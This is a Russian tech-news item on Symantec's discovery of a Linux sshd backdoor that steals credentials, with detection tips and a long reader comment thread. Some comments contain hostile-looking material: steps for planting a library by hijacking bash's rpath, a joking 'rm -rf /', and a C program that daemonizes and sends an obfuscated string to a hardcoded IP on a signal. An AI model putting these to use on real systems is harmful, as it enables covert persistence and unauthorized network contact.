Компания Symantec в результате разбора атаки на одного из крупных хостинг-провайдеров выявила (http://www.symantec.com/connect/blogs/linux-back-door-uses-c...) новый вид бэкдора для Linux. Бэкдор выполнен в форме разделяемой библиотеки, перехватывающей ряд стандартных вызовов, таких как read, EVP_CipherInit, fork и ioctl. Библиотека связывается с работающими на системе сетевыми процессами, такими как sshd, берёт на себя обработку указанных вызовов и получает контроль над трафиком поражённых серверных приложений.
При работе бэкдор не сохраняет файлов, не создаёт сокетов и не инициирует сетевые соединения, прикрываясь в своей активности поражённым серверным процессом, что затрудняет его обнаружение. Управляющие команды передаются в составе штатного сетевого трафика, через интеграцию подставных блоков. Бэкдор отслеживает появление в нормальном, не вызывающем подозрение, трафике маску ":!;.", при обнаружении которой декодирует следующий за ней блок данных. Данные закодированы с использованием шифра Blowfish и следуют в формате Base64.
Через закодированные блоки, примешанные в обычный трафик, могут передаваться управляющие команды для выполнения произвольной shell-команды или отправки в ответ накопленных бэкдором данных. Основное функцией бэкдора является перехват и накопление конфиденциальных данных, таких как пароли, ключи шифрования и email-адреса. В частности, поддерживается перехват паролей и SSH-ключей пользователей, подсоединяющихся к поражённой системе.
В качестве методов выявления бэкдора может использоваться анализ наличия маски ":!;." в трафике. Но этот метод не эффективен, так как бэкдор может длительное время не проявлять себя. Более надёжным вариантом является сохранение дампа памяти работающего процесса sshd и поиск в нём специфичных для бэкдора строковых данных, таких как "key=", "dhost=", "hbt=3600", "sp=", "sk=" и "dip=".URL: http://www.symantec.com/connect/blogs/linux-back-door-uses-c...
Новость: http://www.opennet.me/opennews/art.shtml?num=38441
Вау LD_PRELOAD.
# cp /bin/bash /tmp/
# cd /tmp
# readelf -a ./bash | grep PATH
0x000000000000000f (RPATH) Library rpath: [/lib64/bash/4.2]
0x000000000000001d (RUNPATH) Library runpath: [/lib64/bash/4.2]# cp /tmp/libbackdoor.so /lib64/bash/4.2/
# ln -s /lib64/bash/4.2/libbackdoor.so /lib64/bash/4.2/libreadline.so.6
# ldd ./bash
/bin/bash: symbol lookup error: /bin/bash: undefined symbol: emacs_meta_keymapНу сами понимаете, надо сделать копию libreadline.so.6 со своими плюшками.
> /bin/bash: symbol lookup error: /bin/bash: undefined symbol: emacs_meta_keymap
> Ну сами понимаете, надо сделать копию libreadline.so.6 со своими плюшками.Идея интересная, но там нет вызовов read, EVP_CipherInit, fork и ioctl, нужен механизм preload.
>libreadline
>нет вызовов readЧто еще расскажешь?
При чём тут бухта?
Т.е. чтобы эта штука заработала, мне надо скачать что-то неведомое, а потом ещё и запустить это из-под рута? Да ещё и не выгружать эту дрянь из памяти?
Думаю, я в безопасности.
Чем докажешь, что у тебя не Убунта на сервере да еще с иксами и софтом из ppa? :)
Чем Убунта не угодила? У Гугл и Википедии проблем с ней нет.
Откуда инфа, что проблем нет?
libastral подсказывает
Для пользователей по крайней мере не заметно
> Для пользователей по крайней мере не заметно(ехдно) Успешный взлом и должен годами оставаться незаметным. Не только пользователям, но даже сисЯдмину. :)
> (ехдно) Успешный взлом и должен годами оставаться незаметным. Не только пользователям,
> но даже сисЯдмину. :)При том обычно кульсисопов ломают чаще чем википедии и гугли. Потому что у тех есть персонал который может за машинами нормально следить, в отличие от.
Софт из ppa, лично мне, даже на домашней машине в голову не прийдет под рутом запускать. А на рабочих либо основные сервера, либо самому пакеты собирать, ну или у меня кое где лицензионные PPA стояли.
Лицензионных PPA не бывает. Сама абревиатура как бы намекает, что это персональные архивы пакетов, то есть за их содержимое отвечает какой-то Вася Пупкин, а не Canonical или сообщество. Если на сайте разработчика того, или иного ПО прямо не указан адрес PPA-репозитория, вполне возможно, что автор приложения, и владелец PPA, который выдаёт себя за автора - абсолютно разные люди. Где гарантия, что Вася - это Вася? И что он не подмешал какую-то дрянь к сорцам собранного им приложения? Вы пишете, что не запускаете под рутом софт из PPA. Похвально. Но знаете ли вы, что во время установки любого пакета, пакетный менеджер(работающий с привилегиями суперпользователя) может выполнить скрипт произвольного содержания? Вот материал(http://www.debian.org/doc/debian-policy/ch-maintainerscripts...), который стоит прочесть, перед тем, как вы надумаете в следующий раз устанавливать какую-то гадость из PPA.
а как без рута?
> а как без рута?Никак. При установке пакета производятся действия, для которых необходимы повышенные привилегии. Вот поэтому ни в коем случае не стоит запускать пакет из неизвестного источника на установку. Я когда сомневаюсь - собираю пакетик ручками, и не имею потом проблем. Заодно можно собрать программу с нужными флагами сборки.
> неизвестного источника на установку. Я когда сомневаюсь - собираю пакетик ручками,
> и не имею потом проблем. Заодно можно собрать программу с нужными
> флагами сборки.Вопрос на засыпку: что помешает при этом подпихнуть в скрипты сборки/установки или просто сорец программы что-нибудь бонусное? Врядли ты вычитываешь все это от и до...
А тут уже всё держится на доверии к разработчикам программы, и на их репутации. Проверять исходный код - дело трудоёмкое... Просто я больше склонен доверять разработчикам ПО, чем сомнительным личностям, собравшим пакетик не понятно из чего, и с какими намерениями. Была бы возможность автоматической проверки исходных кодов на не скрытый функционал - я бы с удовольствием сканировал сорцы, что-бы быть уверенным, что автор программы не оставил в ней бэкдора. А самому ковырять исходники как-то лениво... Да и бэкдор может быть не очевидным для не специалиста в нужной предметной области...
wheel
Не совсем так. Часть ППА ведется как раз таки разработчиками, в том числе и из Каноникл. А вот левые ставить это да - бред, лучше самому скомпилять.
> Не совсем так. Часть ППА ведется как раз таки разработчиками, в том
> числе и из Каноникл. А вот левые ставить это да -
> бред, лучше самому скомпилять.Верно. Но если об этом написано только на странице PPA, но об этом нет ни слова на сайте проекта, я бы усомнился, а точно ли разработчик создал ту, или иную PPA. Написать на страничке PPA можно что угодно. Не нужно слепо этому верить. Доверяй, но проверяй:)
> Где гарантия, что Вася - это Вася?В его ключах которыми подписываются пакеты, как и обычно. А вот доверять ли Васе или нет - это уже на вашей совести. Если в большом сообществе Васи более-менее прошли проверку временем и сотнями глаз, то с PPA уровень доверия Васям разумеется ниже. Тем не менее, у ряда Вась вполне нормальная репутация а подписи гарантируют что это именно тот Вася, а не какой-то самозванец.
Вот именно, что всё строится на доверии к тому, или иному персонажу... Проверил подпись, решил что доверяешь хозяину PPA - и понеслась установка пакетов. Но ведь не мало людей просто в бложике каком-то прочитали, что для установки пакета нужно добавить PPA и установить пакет, и больше их ничего не интересует...
> больше их ничего не интересует...А уж сколько людей купилось на увещевания наперсточников на улице...
А ничего что при установке любого deb-пакета (в т. ч. из PPA) postinstall скрипт выполняется от рута? А ничего что пакет может содержать бинарник с флагом setuid?
Ну с задачей "не выгружать это из памяти", видимо, отлично справится LD_PRELOAD )
не совсем
что это заработало, нужно найти дырку в похапе, потом из-за кривых настроек поднять себе привилегии до рутовых, а потом спрятаться в процессе sshd
вот это называется бэкдор. а то с чем вы спутали называется троян и к новости не относится
Не, это называется проникновение в систему. А бекдор -- это то, что проникнувшие оставляют на память о своём проникновении.
> Думаю, я в безопасности.
> Ога.ога. не надо запускать всякое непонятное говно, найденое на помойке.
>> Ога.
> ога. не надо запускать всякое непонятное говно, найденое на помойке.По ссылке эксплоит, который может запустить простой юзер.
А у хостера таких простых юзеров с шеллами - тысячи.
для особо тупых повторяю ещё раз: «не надо запускать всякое непонятное говно, найденое на помойке».
для arisu повторяем - ты в своей песочнице на n900 можешь запускать что хочешь, а вот когда дело дойдет до хотера - они гады предоставляют шеловый доступ.. и далеко не каждый запускает юзера в отдельном контейнере. Вот же гады.. а выполнив код в ядре можно и selinux обойти..
ну туда им и дорога. Когда уже эти тупые шареды передохнут...
> что хочешь, а вот когда дело дойдет до хотера - они
> гады предоставляют шеловый доступ.. и далеко не каждый запускает юзера в
> отдельном контейнере.Отлично, накоенец то поголовье извращенцев-пи...сов поубавится. Хотя-бы и при помощи невкусных пинков.
> для особо тупых повторяю ещё раз: «не надо запускать всякое непонятное говно,
> найденое на помойке».Легко называть всех тупыми, когда админишь только localhost :)
Когда начнете админить что-то публичное, поймете, о чем я.
> Стандартные вопросы: как давно это существует, и как много кто этим
> смог воспользоваться? (А кто?) И зависит ли наличие уязвимости сей от
> того, какая это версия ядра, дистрибутива, или ПО в нем? (а
> если не на серверах, а в каком другом сетевом оборудовании, то
> там это все может ли быть?)
> Может ли что подобное не выявленное где существовать еще?
> (а Сноуден ничего там случайно об этом не знает? А то,-
> он же аж десятки тысяч црушных секретных документов тех тогда там
> раздобыл).Это руткит, а не эксплоит. Он не эксплуатирует уязвимости, а позволяет атакующему закрпеться в успешно атакованной ранее системе.
но его наличие (и то что его нашли в дикой природе) указывает (как лакмусовая бумажка) на наличие дыры где-то. вопрос откуда он взялся - вот вопрос
в большинстве случаев это дыра в голове wannabe-админа.
> в большинстве случаев это дыра в голове wannabe-админа.а в данном случае?
>> в большинстве случаев это дыра в голове wannabe-админа.
> а в данном случае?а вданном случае вообще бла-бла-бла. ни сэмпла, ни информации про пути распространения.
Используется одна из туч уязвимостей, за тебя все успешно устанавливает злоумышленник, а потом ты ничего никогда не заметишь, т к уверен в собственной безопасности.
Круто! хорошо задумали, все думал когда будут такое использовать.
> Круто! хорошо задумали, все думал когда будут такое использовать.Руткиты появились в незапамятные времена. И, кстати, изначально под юникс-системы. И техника перехвата функций до сокрытия своей деятельности и передачи данных атакующему тоже с длинной бородой.
Самого главного нет — как распространяерся?
Если "вручную", то не место сабжу в лучшем случае в мини-новостях.
Распространяться оно может как угодно. Например, каким-нибудь пакетом автоматического поиска популярных дыр на серверах. Нашёл подходящие дыры — вкатил эту дрянь.
вопрос был "как распространяется", а не "как может распространяться"
> вопрос был "как распространяется", а не "как может распространяться"Как может так и будет, при необходимости.
Бэкдор найден в дикой природе, а не сделан в лаборатории. Пострадал лион клиентов и крупный хостинг. Щас вам все напишут после расследования.
Как угодно — это бред, а не ответ.
Вот я придумал супер вредоносное ПО (rm -rf /). Распространите его плс.
> Как угодно — это бред, а не ответ.
> Вот я придумал супер вредоносное ПО (rm -rf /). Распространите его плс.Вы его как раз сейчас и распространили :)
"Карачун тебе, Церители"Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ
1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами -
наказываются лишением свободы на срок до трех лет со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.
2. Те же деяния, повлекшие по неосторожности тяжкие последствия, -
наказываются лишением свободы на срок до семи лет.
Не работает :(evtomax@debian ~> rm -rf /
rm: опасно рекурсивно обрабатывать «/»
rm: используйте --no-preserve-root, чтобы отменить предупреждение об опасности
Вот именно.
Вначале нужно как минимум стать рутом.Так что сабж — это не бэкдор в линухе, а шибко умный (возможно бывший), но не чистый на руку админ из одной (только лишь) конторы.
В общем и не выиграл, и не в шахматы,... желтизна.
Not bad. Отличная новость и очень здорово, что приведен быстровалидатор для проверки своих систем.
Нукась, покажьте как вы просканили память ssh процесса?
Например, gcore pid, а потом грепать получившийся дамп.
грепайПосигналу SIGUSR1 шлёт на сайт маздайя волшебную строку.
$ kill -USR1 `pidof a.out`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>int a[15] = { 53, 55, 50, 39, 52, 15, 50, 35, 53, 53, 57, 49, 52, 38 };
int main(void)
{
char *arr;
sigset_t *set;
struct rlimit limit;
int sig, i, len, y = 1;
limit.rlim_cur = 0;
limit.rlim_max = 0;
sigemptyset(set);
sigaddset(set, SIGUSR1);
sigprocmask(SIG_BLOCK, set, NULL);
setrlimit(RLIMIT_CORE, &limit);
daemon(0, 0);
for (sig = 0;;) {
sigwait(set, &sig);
switch (sig) {
case (SIGUSR1):
mlockall(MCL_CURRENT | MCL_FUTURE);
arr = malloc(15);
for (i = 0; i < 14; i++) {
a[i] += 30;
memmove((void *)&arr[i], &a[i], 1);
}
struct sockaddr_in inaddr;
int fd = socket(PF_INET, SOCK_STREAM, 0);
memset((void *)&inaddr, 0, sizeof(inaddr));
inaddr.sin_family = PF_INET;
inaddr.sin_port = htons(80);
inaddr.sin_addr.s_addr = inet_addr("199.59.243.105");
setsockopt(fd, SOL_SOCKET, SO_OOBINLINE, &y,
sizeof(int));
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (char *)&y,
sizeof(int));
connect(fd, (struct sockaddr *)&inaddr, sizeof(inaddr));send(fd, &arr[0], 14, MSG_DONTWAIT | MSG_EOR);
close(fd);
memset((void *)&inaddr, 0xff, sizeof(inaddr));
memset((void *)&inaddr, 0xaa, sizeof(inaddr));
memset((void *)&inaddr, 0, sizeof(inaddr));
memset(arr, 0xff, 16);
memset(arr, 0xaa, 16);
memset(arr, 0x0, 16);
free(arr);
arr = NULL;
munlockall();
continue;
}
}
return 0;
}Там посаны блоуфишем балуются, думашь такие косяки оставят?! :D
> Там посаны блоуфишем балуются, думашь такие косяки оставят?! :DБлоуфиш, это когда к каждому символу по единичке прибавляют, чтобы никто такой грозный шифр не догадался прочитать? Да, это крутые робяты.
Сходи почитай и больше так не позорься: http://ru.wikipedia.org/wiki/Blowfish
А то, что ты сказал, называется шифром Цезаря.
>> Там посаны блоуфишем балуются, думашь такие косяки оставят?! :D
> Блоуфиш, это когда к каждому символу по единичке прибавляют, чтобы никто такой
> грозный шифр не догадался прочитать? Да, это крутые робяты.Который ты путаешь с блоуджобом.
В статье очень даже внятно сказано, что в дампе памяти процесса можно искать указанные строки, а вопрос был как получить дамп. Зашифровали б посоны код в памяти — фиг бы что грепать там было бы можно, а в данном случае значит не зашифровали.
key=, dhost=, hbt=3600, sp=, sk=, dip=,... - это половые фантазии Симантека,
эти токены, можно сказать стандарт для ботнетов. Кто-то давно написал, вот
исходники и кочуют между хак-группами.А бинарники, в дистрибутивах, проверяют на контрольные суммы:
# rpm -V openssh
openssh
5S.T..... c /etc/ssh/sshd_config
missing /lib/systemd/system/sshd.service# debsums openssh
...
Вообще-то «прелесть» данного бэкдора в том, что он цепляется к процессам в памяти и пользуется их соединениями и вклинивается в их трафик. Вставить же его в процесс автозагрузки можно уймой способов и без модификации бинарников. Так что проверка контрольных сумм файлов на винте тебе практически наверняка ничего не даст.И знаешь, если Симантек написали, что в данном бэкдоре такие строки есть, то твоё мнение о их половых фантазиях мягко говоря неуместно если только ты не докажешь обратное. Доверять им в этом вопросе поводов больше, нежели тебе.
Беги, покупай Symantec! Специально для таких новости создают! :D> Вообще-то «прелесть» данного бэкдора в том,
Если рут есть дальше можно не рассуждать. Вариантов - милльярд!
Почему ты такой толстый?
14
А!
> А!Кто-то добрый тебя проминусовал :)
Эт ни я, чессово
Мне как-то эти циферки безразличны.
> key=, dhost=, hbt=3600, sp=, sk=, dip=,... - это половые фантазии Симантека,
> эти токены, можно сказать стандарт для ботнетов. Кто-то давно написал, вот
> исходники и кочуют между хак-группами.
> А бинарники, в дистрибутивах, проверяют на контрольные суммы:
> # rpm -V openssh
> openssh
> 5S.T..... c /etc/ssh/sshd_config
> missing /lib/systemd/system/sshd.service
> # debsums openssh
> ...чукча не читатель.. Там же написано что бинарник они не модифицируют.. А вся хрень сидит в памяти..
> чукча не читатель..Чукча, это вы с таким дурацким ником сидите? :)
я не понял, где пакет-то установочный скачать?
> я не понял, где пакет-то установочный скачать?Анафема! Надо было GLPv3+ исходники требовать.
> я не понял, где пакет-то установочный скачать?Само приползет.
>> я не понял, где пакет-то установочный скачать?
> Само приползет.все авторы это обещают, а оно всё не ползёт и не ползёт. и куда багрепорты слать — а главное, какие — не ясно.
На системе с SELinux + pax +SSP и pie прокатит?
Это руткит, а не эксплоит.
да.
не плохо, придумано
> не плохо, придуманоДва Розенталя этому господину. Неплохо пишется слитно, запятая вообще не нужна. Всосал?
Этому не поможет и три
где взять PPA с таким "бекдором"? Нужно очень.
> Компания Symantec в результате разбораЭто не та компашка, которая пихает свои поделия на диски с вендовыми драйверами к материнским платам? Домашние типа админы это ставят (по привычке ставить все, за что уплочено), а потом мучительно выпиливают эмэсконфигом, регэдитом и сисиклинером?
Последняя строка из оригинала новостиSymantec protects customers by detecting this back door as Linux.Fokirtor.
ЧТД
Symantec detects customers by protecting this backdoor.
> сисиклинером?какая завидная профессия.
ах, да: софт называется сиклинер.
Во всей этой истории есть непонятое место. А именно, что это. На одном отечественном уважаемом вирусоборческом ресурсе оно названо вирусом. думаю, это неверно. Ибо на некоторых не менее уважаемых зарубежных ресурсах оно названо трояном.Не буду тут пояснять различия. Но главное - троян сам не попадает в систему. Его нужно установить. В случае с Linux - с правами суперпользователя. Неважно, установили вы ppa сами, скачали и прописали его в системе, или это сделал за Вас скрипт. Изначально нужно войти суперпользователем и целенаправленно запустить скрипт.
Так что много шума из ничего.
А выводы - не ставьте нестандартные ppa. Из последнего. В Ubuntu 12.04 GIMPа 2.8 не было в репах. Можно было мучительно собирать из исходников, либо искать вручную кучу модулей. А можно было поставить ppa некоего парнишки по имении ... внимание ... кисельгуляш ... А проблема решалась проще - обновить дистрибутив до 13.04.
[quote]
Библиотека связывается с работающими на системе сетевыми процессами, такими как sshd, берёт на себя обработку указанных вызовов и получает контроль над трафиком поражённых серверных приложений.
[/quote]
Тааак...
для начала смотрим какие библиотеки использует sshd, для примера.
[quote]
[user0@homelinux ~]$ ldd `which sshd`
linux-gate.so.1 (0xb77c1000)
libpam.so.0 => /usr/lib/libpam.so.0 (0xb7775000)
libcrypto.so.1.0.0 => /usr/lib/libcrypto.so.1.0.0 (0xb75ab000)
libutil.so.1 => /usr/lib/libutil.so.1 (0xb75a7000)
libz.so.1 => /usr/lib/libz.so.1 (0xb7590000)
libcrypt.so.1 => /usr/lib/libcrypt.so.1 (0xb755f000)
libgssapi_krb5.so.2 => /usr/lib/libgssapi_krb5.so.2 (0xb7516000)
libkrb5.so.3 => /usr/lib/libkrb5.so.3 (0xb744c000)
libc.so.6 => /usr/lib/libc.so.6 (0xb729c000)
libdl.so.2 => /usr/lib/libdl.so.2 (0xb7297000)
libk5crypto.so.3 => /usr/lib/libk5crypto.so.3 (0xb7261000)
libcom_err.so.2 => /usr/lib/libcom_err.so.2 (0xb725b000)
libkrb5support.so.0 => /usr/lib/libkrb5support.so.0 (0xb724e000)
libkeyutils.so.1 => /usr/lib/libkeyutils.so.1 (0xb7249000)
libresolv.so.2 => /usr/lib/libresolv.so.2 (0xb7231000)
/lib/ld-linux.so.2 (0xb77c2000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0xb7215000)
[user0@homelinux ~]$
[/quote]потом смотрим каким пакетам принадлежат эти библиотеки:
[quote]
[user0@homelinux ~]$ pacman -Qo /usr/lib/libpthread.so.0
/usr/lib/libpthread.so.0 принадлежит glibc 2.18-9
[user0@homelinux ~]$
[/quote]
пакет glibc ставится из офф репа, и имеет цифровую подпись.
Я думаю это поможет выявить злодея.
На крайний случай, можно просто переустановить sshd, и все приложения, который предаставляют разделяемые библиотеки sshd'у, переустановить из офф репов.
Елки-палки, оно модифицирует запущенный процесс sshd, а бинарник системный ему не интересен. анализ дампа памяти процесса нужен для отслеживания этих изменений, а поймать модификацию бинарника можно штатными командами практически любого пакетного менеджера.
Причём здесь ядро Linux?
> Причём здесь ядро Linux?Деситтна, GNU/Linux же!
...""a dynamic linker model where a portion of the executable includes a very simple linker stub which causes the operating system to load an external library into memory. [...] The source code for the GNU/Linux linker is part of the glibc [...] code is available under the GNU LGPL.
> is part of the glibc
> glibcПричём здесь ведро Лёликс?
> Причём здесь ядро Linux?Потому что заказ на него.
Надо просто издать закон, озвучить его на самом высоком уровне. Шалуны сами разбегутся ))